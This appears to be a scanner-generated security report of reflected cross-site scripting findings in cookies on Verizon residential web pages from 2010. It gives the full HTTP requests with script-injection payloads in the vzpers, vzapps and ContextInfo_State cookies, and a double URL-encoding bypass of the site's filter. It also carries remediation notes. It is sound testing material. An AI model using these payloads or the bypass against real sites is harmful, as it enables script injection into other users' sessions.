GET /residential/homephone HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXeb562'><script>alert(1)</script>82a1c55dd60; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 882c9<script>alert(1)</script>a8f36693d1f was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/homephone/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX882c9<script>alert(1)</script>a8f36693d1f; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 55a26'><script>alert(1)</script>51be17770e9 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/homephone/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX55a26'><script>alert(1)</script>51be17770e9; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload fea07'><script>alert(1)</script>b98943dd7f8 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/internet HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXfea07'><script>alert(1)</script>b98943dd7f8; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 17d47<script>alert(1)</script>464b55e2a was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/internet HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX17d47<script>alert(1)</script>464b55e2a; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6adc3%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e365dd94a7b9 was submitted in the vzapps cookie. This input was echoed as 6adc3"><img src=a onerror=alert(1)>365dd94a7b9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the vzapps cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /residential/specialoffers/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX6adc3%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e365dd94a7b9; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
Response (redirected)
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET ETag: X-Powered-By: ASP.NET Content-Type: text/html Expires: Mon, 13 Dec 2010 00:59:08 GMT Cache-Control: max-age=0, no-cache, no-store Date: Mon, 13 Dec 2010 00:59:08 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: ASPSESSIONIDCARDDBQC=NMELHINCBDOKFDIEKHNIBJEC; path=/ Content-Length: 126424
<!-- Vignette V6 Sun Dec 12 16:59:07 2010 -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head>
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 788fd<script>alert(1)</script>db85b93448f was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.